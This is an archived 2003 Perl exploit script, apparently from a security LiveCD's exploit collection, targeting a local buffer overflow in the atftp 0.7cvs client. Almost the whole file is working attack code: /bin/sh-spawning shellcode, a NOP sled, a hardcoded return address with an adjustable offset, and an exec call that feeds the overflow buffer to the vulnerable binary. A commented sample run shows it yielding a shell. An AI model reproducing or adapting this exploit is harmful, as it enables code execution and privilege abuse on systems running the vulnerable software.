home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / ftp / atftpd / expl-atftp.pl < prev   
Perl Script  |  2005-02-12  |  1KB  |  47 lines

  1. #!/usr/bin/perl
  2. # Date : 6 June 2003
  3. #
  4. # expl-atftp.pl : Local buffer overflow exploit for
  5. #                 atftp-0.7cvs (client)
  6. #
  7. # Exploit tested on RedHat 8
  8. #
  9. # [jlanthea@localhost ]$ perl expl-atftp.pl
  10. # Atftp local exploit by jlanthea - 2003
  11. # The new return address: 0xbffffb20
  12. # Usage: option <option name> [option value]
  13. #       option disable <option name>
  14. # sh-2.05b$
  15. #
  16. # Author : Julien LANTHEA
  17. # Mail   : jlanthea@jlanthea.net
  18. # www    : jlanthea.net
  19. #
  20. # Syntax :
  21. #    perl expl-atftp.pl <offset> # works for me with -50
  22.  
  23. $vuln="/usr/sbin/atftp";
  24.  
  25. $shellcode =
  26.         "\xeb\x1d\x5e\x29\xc0\x88\x46\x07\x89\x46\x0c\x89\x76\x08\xb0".
  27.         "\x0b\x87\xf3\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\x29\xc0\x40\xcd".
  28.         "\x80\xe8\xde\xff\xff\xff/bin/sh";
  29.  
  30. $offset = "0";
  31.  
  32. if(@ARGV == 1) { $offset = $ARGV[0]; }
  33. $nop     = "\x90";
  34. $esp     = 0xbffffb20;
  35.  
  36. for ($i = 0; $i < (273 - (length($shellcode)) - 4); $i++) {
  37.     $buffer .= "$nop";
  38.     }
  39.  
  40. $buffer .= $shellcode;
  41. $buffer .= pack('l', ($esp + $offset));
  42.  
  43. print("Atftp local exploit by jlanthea - 2003\n");
  44. print("New return address: 0x",sprintf('%lx',($esp + $offset)),"\n");
  45. exec("$vuln -t '$buffer'");
  46.  
  47.